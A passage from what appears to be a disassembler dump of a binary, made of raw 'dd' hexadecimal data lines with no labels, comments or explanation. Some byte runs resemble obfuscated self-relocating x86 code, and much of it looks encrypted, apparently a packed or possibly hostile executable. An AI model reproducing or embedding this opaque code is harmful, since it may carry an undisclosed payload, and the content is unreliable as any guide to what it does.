0BAF71A59h, 0C421D56Dh, 0F94C6B71h dd 0F2208E2h, 0AC180EEEh, 82883356h, 97513735h, 0BC3A680h dd 0EBD1A305h, 878C462Ah, 7DE0E590h, 91961B3Eh, 8DE021D5h dd 585B4487h, 5B4032F8h, 0BAA09EA3h, 17FDFB00h, 4561585Dh dd 6F55A7FCh, 0AEE30AB5h, 67210751h, 0DB957B4Dh, 4F6285C4h dd 271537D8h, 0A10E8D7Bh, 4EF9876Eh, 14FDFB48h, 35E4CDF0h dd 356D1538h, 9EAFFDF9h, 1BC619F0h, 9EF32016h, 92AC664Ch dd 1B20DAC0h, 3EDh, 66248300h, 8489432Bh, 0E1E6A086h, 434800E3h dd 0A2A76145h, 308C2A4h, 64692305h, 0C0C57D66h, 2025DDC2h dd 7E833B22h, 0E789576Dh, 4C781h, 0EF830000h, 243C8704h dd 240C895Ch, 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch dd 0BC682414h, 8900003Fh, 0B868243Ch, 89000058h, 6DBB241Ch dd 0BA2CA627h, 0DB3F9E5Dh, 545BDA01h, 83243C8Bh, 0FD6804C4h dd 89000016h, 478F2414h, 243C8B08h, 81E68956h, 4C6h, 4C68100h dd 87000000h, 0FF5C2434h, 815A2434h, 4C4h, 0AE01E900h dd 0EEC1FFFAh, 0C8157E25h, 0B9B9188Ch, 5DB8CCE8h, 307E5D2h dd 5AE0FFC5h, 62734FA2h, 5E46DF65h, 88451441h, 944F741Bh dd 456D7A45h, 87BF430h, 123081E0h, 0B322AC43h, 2156F99Ch dd 9F55B853h, 9E7C2263h, 5A67A128h, 3D35E709h, 9B52CE3Ah dd 8D63AD4Bh, 312DEFA7h, 482CC8F1h, 0F9081864h, 0A267ACE8h dd 0A3307026h, 4F6A707Ch, 0A1388C0Dh, 2D645167h, 8B209451h dd 0BD83FCC0h, 7E006B1h, 83097500h, 0E001C5BDh, 19740007h dd 0C08B5350h, 3FCB8h, 0F5858900h, 8D07E020h, 0E2BC629Dh dd 5BD3FF07h, 0C5BD8358h, 7E001h, 53501774h, 3FCB8h, 0F5858900h dd 8D07E020h, 0E2B9519Dh, 5BD3FF07h, 52006A58h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0C5458B06h dd 0E4D8D781h, 0D90F39BBh, 0FC08B49h, 28Ah, 83DA8B00h dd 0E016B1BDh, 840F0107h, 57h, 68B0Fh, 0EA810000h, 5C7B0F07h dd 1115BD83h, 0F0007E0h, 3E85h, 83FEB600h, 0E02FF5BDh dd 840F0007h, 86h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 50C35646h, 1672C096h, 0E92D65ECh, 7 dd 51EFE146h, 0E9AD1C0Eh, 331h, 68C0Fh, 0D2810000h, 5A3A0148h dd 12E9h, 0F63F8C00h, 282F08F8h, 0B8322B28h, 0A15E2DADh dd 2E2EAEh, 0F000000h, 6ADFBFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 0EFBD7CC3h, 8609E39Dh dd 0DA816685h, 755A020Ch, 0C70E61AEh, 28A4B4F6h, 0C0FAB49Fh dd 99BEEDBCh, 0C49AF815h, 0C47BF01Dh, 0C0AFB480h, 0C514E5DDh dd 0E28C2C84h, 51EAC55Eh, 0C0FABD74h, 947D169Ch, 21AC6226h dd 4B397F1Fh, 4522EE42h, 0C734E33Ch, 28B9B4F6h, 0C0F5B49Fh dd 9A39EEBCh, 0C459E015h, 0C49AF01Dh, 0C05FB487h, 9A6CE6DEh dd 9F0B0B6h, 0CF224898h, 43FA6D2Bh, 0C0FAB49Fh, 3FAD5F1Ch dd 92BEDE4Ch, 0C05FB774h, 3F5949Ch, 0E4833DC6h, 0E4AF3598h dd 0C0F5A298h, 3A8F69Ch, 404E5063h, 957BC76h, 295FB49Fh dd 0C0AFB496h, 98D301A8h, 0F3A11304h, 28A01797h, 0C0FAB49Ch dd 0F89035C1h, 7BB95149h, 9C63E6E6h, 24372Eh, 0C0DC3493h dd 46E4B49Ch, 0C0F5B499h, 0D81035FAh, 0EDCBE453h, 0AA9AB015h dd 0C3B7E59Ch, 0E0AFB49Ch, 498E77C5h, 41EF90D0h, 0D8F190D8h dd 81FAB49Ch, 1FED77CDh, 4AB4FEB0h, 31DED441h, 0A140353Fh dd 0A1000B93h, 0E4A7B593h, 90F5DE62h, 0C0FAB774h, 325949Ch dd 0E4FA3DC4h, 0E41B3598h, 0C0AFA098h, 387F49Ch, 0C551D2AAh dd 77FAEC57h, 0C2F6B142h, 0C017B49Ch, 0C0BD5CCEh, 9A7FB49Ch dd 9426EE5Fh, 8456B0B8h, 0C0F7B0B8h, 92B7B49Ch, 0F8145E5Fh dd 88FF1C9Bh, 41B1770Ch, 0C05FB489h, 0C0AFBD74h, 93DE829Ch dd 3C4B9821h, 137454D9h, 0B38BB218h, 0AA753FC6h, 0C356E29Ch dd 0E05FB49Ch, 49F177C2h, 41D390E8h, 0DAEF90D8h, 86F5B49Ch dd 174277CAh, 870589A5h, 0A60106EDh, 0A0A3FC17h, 78CE2F2Dh dd 0C0D7B49Dh, 0C0EBBF74h, 0DC9DB69Ch, 0E4F2537Bh, 17A73CCh dd 95C35FAh, 90CEEE1Ah, 517C3FFAh, 0A63E761Ch, 0C0816D10h dd 0C0F65CCCh, 98DAB49Ch, 84F4EC5Fh, 843FB0B8h, 0C04AB0B8h dd 90EFB49Ch, 0CF63F85Fh, 0C0EBB51Ch, 43FA419Ch, 0C0FAB492h dd 0C07DB274h, 5B03649Ch, 9396B491h, 159EFC6h, 5252BB98h dd 0CFEBB49Ch, 41936A23h, 99ACCF77h, 282BB4F6h, 0C0BEB49Fh dd 9E9CEABCh, 0C48BC015h, 0C4F3F01Dh, 0C0EBB48Ah, 1536E2DAh dd 0C8138670h, 57DB49Ch dd 0C7621AE3h, 40B9E080h, 45A0DCA5h, 0C0D7B419h, 0C0EBA575h dd 31CA099Ch, 0B5216920h, 23F13564h, 0DEE2FDB2h, 0B9D42CB7h dd 0C524BB9Dh, 0A6D7B49Ch, 0C59F561Dh, 0C0F54B1Dh, 42F5349Ch dd 0C07DB4C9h, 45796E17h, 0C7BA60C7h, 0C0AFB49Dh, 9A3E6C17h dd 0CFEBB49Ch, 0C0F5B615h, 29223F9Ch, 0C07DB4A9h, 0F95435FAh dd 4A0EEDD5h, 43C9EF64h, 0CF28BFE5h, 0C0EB9418h, 0FA37349Ch dd 14A1315Bh, 0C07CB379h, 4BD8B49Ch, 0C9B6E74Ah, 13AFB49Ch dd 0AEA04E33h, 0D61D2191h, 2995FCC6h, 0C0FAB496h, 0DE1F2E91h dd 8D7128Dh, 23DE1E4Ch, 0F5224A98h, 8A3D0DFDh, 4566CB79h dd 0C7106DA7h, 177F0911h, 3846B379h, 0CF8EB3E8h, 2B187D4Dh dd 0C0BE5D69h, 3A9FB49Ch, 636991E6h, 551706F3h, 9B3726E9h dd 0AAB91548h, 0C356E79Ch, 0E05FB49Ch, 49F477C7h, 41D390C0h dd 0D5EF90D8h, 83F5B49Ch, 69F677CFh, 0D494D4FCh, 0CBEB49Ch dd 0FC688324h, 53F318E4h, 4B2C6403h, 0A831404h, 0A6BB6490h dd 0A1638622h, 71C037FDh, 0C1B9548Ah, 0C07D3093h, 4BC9B49Ch dd 0D56A3743h, 0C0EC548Dh, 0C0E73193h, 77F5B49Ch, 35C03743h dd 0C0B954B3h, 0C0763093h, 1125B49Ch, 0C0D76B75h, 97EBDE9Ch dd 0C0F5B774h, 3A5949Ch, 0E4013DC3h, 0E4FA3598h, 0C05FAE98h dd 3F8F39Ch, 2CA4C21Ah, 4320A62Ch, 20E30521h, 45F5B59Bh dd 0C07DB41Fh, 0D802771Dh, 0AA02CB72h, 0C347E39Ch, 0E0D7B49Ch dd 49B477C3h, 41F190E0h, 0D7FE90D8h, 877DB49Ch, 0C0F977CBh dd 475074DFh, 0C0AFB49Bh, 23640FCBh, 3B1A461h, 28A0B4F6h dd 0C0FAB49Fh, 9DBEE9BCh, 0C49AD815h, 0C47BF01Dh, 0C0AFB480h dd 2214E1D9h, 712334C1h, 40F693F2h, 0C0F93493h, 4B1BB49Ch dd 0C0F45D44h, 0CDB7B49Ch, 0C5AFB49Ch, 0D8E87A50h, 909AB96Eh dd 93E842D6h, 0C07EBBFCh, 4B7DB49Ch, 9DE5D552h, 280CB4F6h dd 0C0AFB49Fh, 9B14EFBCh, 0C4CFE815h, 0C4D1F01Dh, 0C0FAB481h dd 27BEE7DFh, 236C5E2Eh, 90975D48h, 1A7034E7h, 93013453h dd 14610911h, 4D78B379h, 0C71F6D94h, 0FA21A924h, 613B87E7h dd 0EB5854B1h, 3D0D7553h, 66CB798Ah, 106DA745h, 7F0911C7h dd 46B37917h, 8EB3E838h, 187D4DCFh, 0F305E983h, 5BBD83A4h dd 7E5D4h, 8D8D0D74h, 7E04EE8h, 1B8h, 40E1FF00h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 12C35343h, 517968C5h dd 0D68BEA50h, 810Fh, 0E8830000h, 52006A2Dh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 7E7C64CCh dd 0E9F9BE2Eh, 11h, 4EF91C1Ah, 0A08D7853h, 8F7C2357h, 76D9B019h dd 6AC08BDCh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 5990C350h, 4B879324h, 0FC18A4Ch dd 282h, 0E9DE8B00h, 0Eh, 166131C4h, 9D75EE11h, 5670E121h dd 0BD831FB9h, 7E006B1h, 83097500h, 0E001C5BDh, 19740007h dd 0C08B5350h, 3FCB8h, 99858900h, 8D07E023h, 0E2BCC99Dh dd 5BD3FF07h, 0C5BD8358h, 7E001h, 53501774h, 3FCB8h, 99858900h dd 8D07E023h, 0E2B96A9Dh, 5BD3FF07h, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0F0C024B8h dd 602E08A1h, 0BA660E87h, 6AC626h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 87B46EC3h, 0C88D9052h dd 0BB664B14h, 0D98BB4D8h, 8D8DC08Bh, 7E5DB32h, 24399529h dd 850107E0h, 7E02F0Dh, 18158D89h, 665607E0h, 0E4D7E881h dd 4985C75Bh, 7807E020h, 0F000064h, 385h, 0F98B6600h, 22C585C7h dd 7E0h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 0E863DEC3h, 10h, 4A787A6Fh, 7A2FAA6Eh dd 47BCF338h, 0F48AF105h, 75D858Bh, 295E07E0h, 0E03149BDh dd 0E5B5FF07h, 0F907E022h, 209195FFh, 6A07E0h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 36434EC3h, 6A72DE6Eh, 0A995FF00h, 8B07E018h, 570BEBC0h dd 95BD5222h, 5701E726h, 14E87A8Ah, 98000000h, 0D88F5594h dd 2F78D56Ch, 3ABFC218h, 76229351h, 89C86BF7h, 0E01829B5h dd 95895A07h, 7E015F5h, 5C11C281h, 9D890000h, 7E0142Dh dd 0AD5C4ABBh, 9CF38110h, 0F10AD4Ah, 1B81h, 14E800h, 0F13A0000h dd 0B4441851h, 25FE5795h, 7FA5C74Eh, 0D436394Eh, 5FF5E712h dd 0B58B32FFh, 7E00445h, 0E5858959h, 8107E025h, 9ECA76E9h dd 0F0B70F6Ah, 6FB4F181h, 0C1812A5Ch, 25003AEFh, 2A558D89h dd 0B85107E0h, 556EE2F5h, 10E9028Fh, 8F000000h, 22F12DFEh dd 1A7ED09Ch, 3D7AA206h, 8359307Bh, 0B58901EAh, 7E0186Dh dd 814A4A4Ah, 1EBh, 0A1850F00h, 66FFFFFFh, 0A8B4CE81h dd 0DD148D8Dh, 6A07E5h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0D394EEC3h, 8D890D2Fh, 7E01815h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0A7C35646h dd 840DBE65h, 85C738B0h, 7E02049h, 6E9Ch, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Dh, 64C35141h, 0BB48B38Bh dd 58DD93BAh, 0D9858B9Bh, 0C707E023h, 0E022C585h, 7, 7D853100h dd 0FF07E02Ah, 0E007A1B5h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 5880F6Fh, 0B8000000h dd 358E4B28h, 10E8h, 0E871B500h, 6DB31E34h, 1648A8EDh dd 0F9E22E1Ah, 0DFBF0F64h, 9195FF5Eh, 6A07E020h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 101AC353h, 765AA1D2h, 89EB72DFh, 0E007259Dh, 0FF006A07h dd 0E018A995h, 0EBC08B07h, 0C7DD101Bh, 0C94F3B0Ah, 44E1ED7Ch dd 0D6B7FAEFh, 4264AAD5h, 49D1645h, 26836600h, 43E9h, 4768B00h dd 0Bh, 0C51C5700h, 6148434Ah, 0A5ADF936h, 528C88A7h, 0B7FB75h dd 0ADF99CBEh, 89937EE5h, 0F4C7009Dh, 6063921Dh, 0DE19h dd 5 dup(0) dd 0B60E9h, 0DE876800h, 50E907E5h, 68FFFAA3h, 7E5DFE4h dd 0FAA346E9h, 0E0F968FFh, 3CE907E5h, 68FFFAA3h, 7E5E1BCh dd 0FAA332E9h, 0E26F68FFh, 28E907E5h, 68FFFAA3h, 7E5E35Bh dd 0FAA31EE9h, 0E42468FFh, 14E907E5h, 68FFFAA3h, 7E5E629h dd 0FAA30AE9h, 0E76D68FFh, 0E907E5h, 6FFFAA3h, 784A641Eh dd 0EDBFD991h, 64365008h, 0D7A9C37Bh, 0CC213BF5h, 924C2EE3h dd 8C2A678h, 81391CEEh, 0F5AF9567h, 0ED10FBDBh, 21D4C3C4h dd 0D1AE48BAh, 4E06E94Fh, 2698CA3h, 782E5F7Ch, 0F6E20E25h dd 218D98F9h, 70AF0E14h, 28A30E31h, 88DB21D5h, 8FA28882h dd 3D23DCA5h, 0DD457F83h, 2E081FCAh, 27898F47h, 0B0B56F55h dd 6A12C858h, 845B9403h, 651DBABEh, 3E0E492Fh, 15597C93h dd 63267A1Ah, 391FF910h, 0AD93657Fh, 8A96EEF3h, 345796ADh dd 29B9E17Dh, 41A0A6F9h, 59C4541Eh, 7E57AA2Eh, 0EDEEFC85h dd 0C88BB9A2h, 0B2000009h, 24F610CAh, 996B853Dh, 10E2FCB4h dd 83556F27h, 78CDE7A1h, 3EF8DA4Fh, 0B46E5224h, 2DE5C89Ah dd 0A15B4113h, 99BCA787h, 21D4C318h, 0C652EC5Eh, 454B03ECh dd 1C3F654Bh, 29BAA095h, 0DEE38EE1h, 2940FAE0h, 752D10EAh dd 0BAA1377Ah, 5D803F29h, 29BAA154h, 262CD72Ah, 0AB8898C4h dd 0A78D7194h, 388B2E5Ah, 9AC1EC33h, 1B7C21DAh, 0E03A68C6h dd 515553D4h, 62000000h, 0E8EDA588h, 0FAB7DAF1h, 8421DA92h dd 0D1092B31h, 0FFD9F04Fh, 0F9585E16h, 5AA01CD6h, 0A0F622Eh dd 0DA9FEAC3h, 9DF25321h, 0D4EB033Fh, 0E3255153h, 573E0B89h dd 3B7FA1Dh, 6CBF21DAh, 0EE37BBC1h, 44000000h, 4772836Ah dd 3FCF6996h, 65878D38h, 868B452Bh, 0A8604923h, 0CC6A8A2h dd 0CC8FC9F5h, 0B7DB9C9Fh, 0BA7D1D94h, 5B065929h, 240A0855h dd 8167656Ah, 3892ADC7h, 0D329BA7Eh, 8B432CEDh, 508FC6E0h dd 0BA79842Dh, 0A3A7FA29h, 1DCD1C91h, 7E787EF7h, 9BC7DE98h dd 6F0726D7h, 8C0A9D2h, 5B610C03h, 0CD6AB60Eh, 0D62F93B6h dd 56A92E59h, 492B053Ch, 8D938A8Fh, 4158D739h, 7791311Eh dd 1F368926h, 8FA96345h, 381ADBBDh, 0F316797Eh, 29B869BEh dd 0FBA65B8h, 10995336h, 4D7B64E6h, 86Bh, 536D270Fh, 0C8E29A81h dd 3F5911F6h, 0B2CC846Dh, 2A44FEE0h, 5537ECD5h, 0CBAF819Bh dd 4225F711h, 0B89E708Ah, 1904E4FEh, 0D4C1BBF6h, 0B751C321h dd 758F492Bh, 3EAABDA3h, 0A6604218h, 6546D2A2h, 0E5C9A3BAh dd 7D2F262Bh, 75D7DD97h, 0F04FD17Bh, 0A03CB6D9h, 16C22E5Ah dd 0F3BD02B3h, 1419C4CCh, 624F72B1h, 0EF21D9ECh, 0A95B9763h dd 0FD572EE6h, 61585D17h, 406DB0B6h, 0FD21DA27h, 3BF3D8B2h dd 0D63C035h, 53D490D1h, 0C1FAh, 0A5C80700h, 21DA1B0Ch dd 0F7191F72h, 868B452Bh, 66BBF723h, 3857AF93h, 95563832h dd 0FEF5FAB2h, 78EDC4E7h, 368929BAh, 8B3F868Bh, 2A29BA7Ah dd 0C3933144h, 682D1FABh, 0EBD1A3BDh, 8AC92C31h, 0B9DB4A67h dd 0AD883429h, 21309BB8h, 0B2060CB7h, 97BAD16Eh, 2E59F02Bh dd 114862B5h, 92975137h, 0DF41959Bh, 38264960h, 0BE267766h dd 987A546Bh, 3338F0D7h, 0A577913Ch, 631B02C3h, 6A02DFB8h dd 2E17E610h, 75600h, 823C2400h, 0F7AF9668h, 6E260BDDh dd 0E1998254h, 5913F5C7h, 4CC1EA3Fh, 0C496B06Ah, 3A0C26E0h dd 0B3859F57h, 19F913CDh, 0C0A60B2Eh, 5ED021D4h, 8F492BC4h dd 3BDA375h, 452BEFE9h, 0A288868Bh, 2B12138Fh, 0C06BDF1Ch dd 82228BA6h, 0F11F29BAh, 69F81B32h, 0B52E5F5Ch, 5B365389h dd 0FE022FF5h, 32723F58h, 405F65BDh, 16FCD6EDh, 886B455Ch dd 0CED4CBD0h, 0FAB49A6Ch, 0C8EDB7E3h, 76DDE159h, 0D5845E53h dd 1AC51821h, 0A16FC714h, 0A8916B82h, 4EDEBF0h, 3C9BA14Ch dd 75906119h, 0F5185726h, 29B58EBCh, 4A696FC2h, 270FFD9Eh dd 6F862A01h, 0B4B7654Ch, 13BE1129h, 144C633Ah, 65937CE6h dd 693h, 2B45FFE7h, 0A0BA7259h, 1731E9CEh, 8AA45C45h, 21CD6B8h dd 2D0F04ADh, 0A3875973h, 1AFDCFE9h, 90764862h, 0F1DCBCD6h dd 0D4BFE3CEh, 8F299B21h, 868B452Bh, 0E3E8A288h, 8BDD327Bh dd 0F3D1EBA5h, 5434EAB7h, 0E16DD905h, 69BE26FDh, 7DF63h dd 0FB290000h, 17Dh, 0AECC691h, 0FEA96349h, 0A0F8B5F8h dd 0C74929BAh, 92775168h, 0A1664B6Eh, 0BD1029BAh, 10160D12h dd 7BE88EB1h, 0CB1E2E5Fh, 0B49B75B4h, 0AE3E70A3h, 0FBA648F3h dd 215FBF5h, 0E890995Eh, 9AB45F57h, 2328E2C8h, 0CFE645CBh dd 750FCEACh, 0FCD52826h, 0E613F32Bh, 0E0315F48h, 9A000005h dd 0CDEF8B2h, 81536D25h, 0F8CAE49Ch, 6B3D570Fh, 60B5CF89h dd 26E0C277h, 9C563A0Ch, 15CDB082h, 894329FBh, 81A48F6Fh dd 21D4BF30h, 2B3AD446h, 0F2743245h, 5ECC4BB6h, 3C709CB3h dd 4EBB0ADDh, 0CDCB181Eh, 0C0282DE7h, 0EAD01A77h, 0A381630h dd 4A543474h, 0CCD28C70h, 1148h, 0BEFB9200h, 54000000h dd 0A0BFF215h, 64B729BAh, 4FD13C5Eh, 0B5B6D9F0h, 2D2E5F7Bh dd 3E9C3DAh, 775D2F49h, 0B060B8BDh, 0DE1D5C73h, 0D4C3F6BBh dd 9C3A521h, 96D9DF32h, 26799ED8h, 671F04DEh, 60834261h dd 29BAA151h, 182FDA2Dh, 849E583Eh, 83A6CCB2h, 29BAA12Eh dd 4B668948h, 3329BAA1h, 738A35E0h, 0F7FDB799h, 71CE52AAh dd 0B9F81B5Ah, 0EA29BAA0h, 50474C06h, 0C1202679h, 5A83D49Eh dd 0FED72A2Eh, 0EDEE87C3h, 0F43D6B54h, 86000004h, 0F8CAE49Eh dd 6D3F5911h, 0E4B6D088h, 572943FBh, 4CA1BB75h, 12CCAE63h dd 884226F8h, 1B99C6Eh, 752F15E7h, 6D907B5Bh, 21D4BE44h dd 0FB2EC83Ah, 156h, 3ECC691h, 494F464Bh, 0F50C2BF5h, 5F7B99D2h dd 6465912Eh, 0C9E80BA8h, 0B521D4C8h, 85595E62h, 6827464Ch dd 0D5356C45h, 14BF1221h, 6692BEFDh, 0AE3688F8h, 9E238E89h dd 0C52E21D5h, 3EF26F5Ah, 0F5FB4E25h, 1CD6BC96h, 904A3002h dd 4EED338Bh, 96B9F837h, 21D5231Bh, 0C70A1063h, 2679FDA7h dd 0CE2C6591h, 77A36456h, 0E8FF5271h, 546E280Eh, 68D8F11Dh dd 0CCDCC9E2h, 2CE6CCC6h, 0E241CF27h, 6ECAA8CBh, 0E1342E5Ah dd 0EE92D308h, 517F68EDh, 42Bh, 93AD674Fh, 822DAC1h, 7F995136h dd 0F20CC4ADh, 6A843E20h, 9577AC15h, 0BEFC1DBh, 82653751h dd 0F8DEB0CAh, 5944243Eh, 0D4BC7B36h, 0F7910321h, 9D84452Bh dd 3EE9E0E5h, 94553B39h, 0FBF2F7AFh, 9AE34B50h, 530DF345h dd 0C27C623Ch, 0F7235ABCh, 0C65CDD52h, 0BFD578D7h, 5EB339F3h dd 7BA7ADB3h, 94543443h, 5Ah, 26DEC7A1h, 4FD1FE20h, 88ADD9F0h dd 8DB7A23Dh, 0B9F81B32h, 0C529BA3Ah, 0CE0D6C72h, 3B456C8Fh dd 60429BAh, 0EE9F28EBh, 0F2F84B22h, 5ABC26AFh, 0BEE1A02Eh dd 21DA23F3h, 0CA28DF8Bh, 49597646h, 2DCF39Eh, 304B651Dh dd 21DA867Eh, 637D371Dh, 0EFF4AC91h, 36AC1h, 87C65700h dd 0BAA14D64h, 0D0D62929h, 243BF3D6h, 0A0EFC2E5h, 348729BAh dd 0FDE3E12Eh, 9A9F573Ch, 7E1F8A3h, 6E656A22h, 90CF0668h dd 0BAA1446Dh, 0E1E73A29h, 304701E7h, 0CB27E504h, 0B6BCB4DBh dd 0CB856B69h, 5F5275B4h, 3C29B9A4h, 0A49BA05Ah, 12747ACDh dd 0E6FD3AE6h, 59AA3BC3h, 0FCE33D2Eh, 9D483F44h, 0A65C5198h dd 80E121D9h, 1D91CD23h, 42BA53D4h, 4000000h, 0D9F04FD1h dd 5E286E9Ah, 1F8A9302h, 877E833Dh, 5F93D6DCh, 992E59AEh dd 73552F46h, 0B7BDB4B9h dd 0AD8A236Ah, 68B321D9h, 0ADAB0629h, 80D321D9h, 272DE5CEh dd 0C3FF5DB2h, 0EC53D419h, 0DBh, 8B452B36h, 4AF72386h dd 0D3A18405h, 16F8F2F8h, 7359575Ch, 0B1498760h, 26D869CFh dd 8E858A44h, 0FAE0DEE3h, 0BF0B2640h, 0F929B9D8h, 7B813B1Fh dd 0C7E19B81h, 50550FF5h, 0F40B28F8h, 767B331Ah, 0F71A797Fh dd 2E59B82Fh, 34ECCF29h, 768D382Fh, 0FAFFB79Ch, 6F9BFD03h dd 486B82A1h, 267734AEh, 845E75C8h, 92D1E8A2h, 0B84C426Fh dd 0C57F6129h, 0F4AE94EEh, 9B4DF8EFh, 4FB00B8h, 0E8CA9CFEh dd 0B826552Eh, 0D6BFE610h, 226A8h, 0B26C5400h, 27DFC698h dd 9E563B0Dh, 11C9B284h, 894325F7h, 7CB11A6Fh, 0F4C6E09Ah dd 6A3C5610h, 0E3B5CF87h, 492943FDh, 0BA763B5Eh, 8E0021D4h dd 109AC6F4h, 0C78A3A6Ah, 0EEB5ABB4h, 181CEDEAh, 7C361812h dd 0F0AA9062h, 0DCC59FD6h, 0C6FC1E24h, 474C06ECh, 2AF64A50h dd 2CE4C7A1h, 7C353027h, 2729BAA0h, 8E858A42h, 0A2B964B7h dd 80A48963h, 0BAA1545Dh, 2CD72A29h, 0A00FE326h, 0AA692E5Ah dd 3E9F147Eh, 2FDEE8Ah, 21DA1AAFh, 0E9F41BC7h, 499E3E2Ah dd 0A7EEF39Eh, 21D9BF06h, 0F8C0EC37h, 0BA7568Ah, 62BF343Ah dd 0D416DE0Ch, 0CCF953h, 0DA060000h, 7200DF6Eh, 55076C97h dd 137B639h, 2B2E5056h, 0E6A08445h, 0B9E5243Bh, 4DBE646Ch dd 5C5550AFh, 2229BA01h, 7E7CC9CFh, 96DDE29Ch, 29BA0234h dd 11D6E9CFh, 0BABB1BE6h, 0A577913Ch, 9D0005BFh, 95C69571h dd 0B7BD2A2Ah, 677EBD63h, 0EBF1AB8Dh, 0CCBD698Ch, 61BB2E59h dd 11BC67Eh, 550DF0CAh, 0FF535950h, 0BCFB1211h, 4247FFE2h dd 5502454Bh, 0B5267782h, 8F714B62h, 9670CFD5h, 530DF3B4h dd 0DABC8EA8h, 8F1E4720h, 0D2BBE610h, 0E2A4h, 0F6B09800h dd 6B230ADCh, 0E29A7F51h, 550DF6C8h, 0CD87693Bh, 0C0755EB3h dd 380A24DEh, 0AE809A54h, 27F913CBh, 8D6D8741h, 0BA327FA2h dd 0DA4C21D4h, 8F492B40h, 3BDA375h, 452BEFE9h, 0B59A748Bh dd 565B13F6h, 61AEB45Fh, 0D5BC7D63h, 0A1238EB1h, 85B29BAh dd 6C98B25Dh, 0B9F81BA4h, 0EA29BAA0h, 4E454A04h, 1C95B877h dd 6229BAA1h, 0A2B9640Fh, 0EAA28963h, 7BE5A1E4h, 10632E5Fh dd 6D270D0Bh, 59421C53h, 50FBB39Ah, 544E544Bh, 719DB46Eh dd 8CDC8AE2h, 0A8F5FB6Ah, 7574E161h, 0EE8071Dh, 766D722Ch dd 54A6FB70h, 0C89AB46Eh, 371128E2h, 45929850h, 0B69F5E47h dd 0EDC4E7FEh, 891EB64Ch, 90868B36h, 0D6BC0E63h, 0CD783015h dd 5D5477B6h, 191EB64Dh, 8C5EC0C6h, 0B9E7ECA6h, 3, 2B66244Fh dd 86848943h, 0E3E1E6A0h, 45434800h, 0A4A2A761h, 50308C2h dd 66646923h, 0C2C0C57Dh, 222025DDh, 6D7E833Bh, 815B5453h dd 4C3h, 4EB8300h, 5C241C87h, 41D368h, 24348900h, 3F8A68h dd 24048900h, 1F0368h, 242C8900h, 0E5DDDBBDh, 5DEE8907h dd 24048B54h, 5104C483h, 8B9h, 56C10100h, 8B59018Fh, 89562404h dd 4C681E6h, 83000000h, 348704C6h, 34FF5C24h, 0C4835E24h dd 9805E904h, 211CFFFAh, 4FED4B2h, 1D6A4CABh, 0E874B83Fh dd 0C50307E5h, 611CE0FFh, 464B7DC2h, 3903136Ah, 26444C86h dd 0B4315899h, 24EB497Ah, 9 dup(0) dd 0BDE9h, 0B58900h, 8B07E5E9h, 0E016B185h, 0ED858B07h dd 8D07E00Fh, 0E5E94AB5h, 0A0858D07h, 0FF07E357h, 0E855C3D0h dd 0 dd 50ED815Dh, 8307E5E9h, 0E016B1BDh, 850F0107h, 2Ch, 0E900B5FFh dd 858B07E5h, 7E00FEDh, 81273635h, 3CD0FF34h, 0A850F01h dd 0B8000000h, 1, 47E9h, 0E9C03300h, 40h, 0B58D1C6Ah, 7E5E904h dd 0B5FF56h, 8B07E5E9h, 0E00FED85h, 27363507h, 0D0FF3481h dd 8D0CC483h, 0E5E904B5h, 14468B07h, 8304E083h, 840F04F8h dd 7, 5E9C033h, 0B8000000h, 1, 16B1BD83h, 0F0107E0h, 785h dd 0E9C35D00h, 2, 858DCF5Dh, 7E5E929h, 2A758589h, 9FE907E0h dd 0E000000h, 944CB4E3h, 5000000h, 1000000h, 28000000h dd 200000Ah, 22h dup(0) dd 4EE90000h, 6800000Ch, 7E5EC7Ah, 0FA9636E9h, 0ED6B68FFh dd 2CE907E5h, 68FFFA96h, 7E5EE94h, 0FA9622E9h, 0EF1168FFh dd 18E907E5h, 68FFFA96h, 7E5F072h, 0FA960EE9h, 0F0DC68FFh dd 4E907E5h, 68FFFA96h, 7E5F43Ah, 0FA95FAE9h, 0F54B68FFh dd 0F0E907E5h, 16FFFA95h, 885A742Eh, 0FDCFE9A1h, 74466018h dd 0E7B9D38Bh, 0DC314B05h, 0A25C3EF3h, 18D2B688h, 91492CFEh dd 5BFA577h, 0FD200BEBh, 21D4B6B4h, 0C6BE58CAh, 6E265C9Ah dd 80EA1FBh, 696E280Eh, 0DBC4856Bh, 325E7823h, 173A51EEh dd 2E59AFE7h, 9D470531h, 4592697Fh, 0B388FDDEh, 454BF6BFh dd 6BCED326h, 0ECF2AA91h, 0D9EB04A9h, 0FCB49721h, 5E16F9F7h dd 0D9366359h, 0C8258696h, 0DEA7ED19h, 4044FCE1h, 7BFFBE41h dd 0C55E532Ch, 0DA9A9E49h, 46B104BEh, 0CEFC0208h, 0E53D4D9h dd 57AA35E2h, 9AA0253Fh, 5516h, 4FD16000h, 0A1506184h dd 0D32629BAh, 0D9843C21h, 0A0539FC2h, 5AAD2E5Ah, 432B1743h dd 0F692FA63h, 5C535812h, 0FB5EABB1h, 7F833D21h, 0BAB92A8Dh dd 0B4F7FD26h, 21D9AAF9h, 308EE344h, 53D41CF2h, 0DE1Dh dd 0A5FE2A00h, 0E1918F97h, 0D8646EADh, 76215ABEh, 452B4E70h dd 0A688868Bh, 0B74FA493h, 0BA201D94h, 2065929h, 0F44DE313h dd 0E1757E8Dh, 795B0DB8h, 110F14BFh, 6E6C712Bh, 723F6288h dd 0C29BA68h, 6914CEB2h, 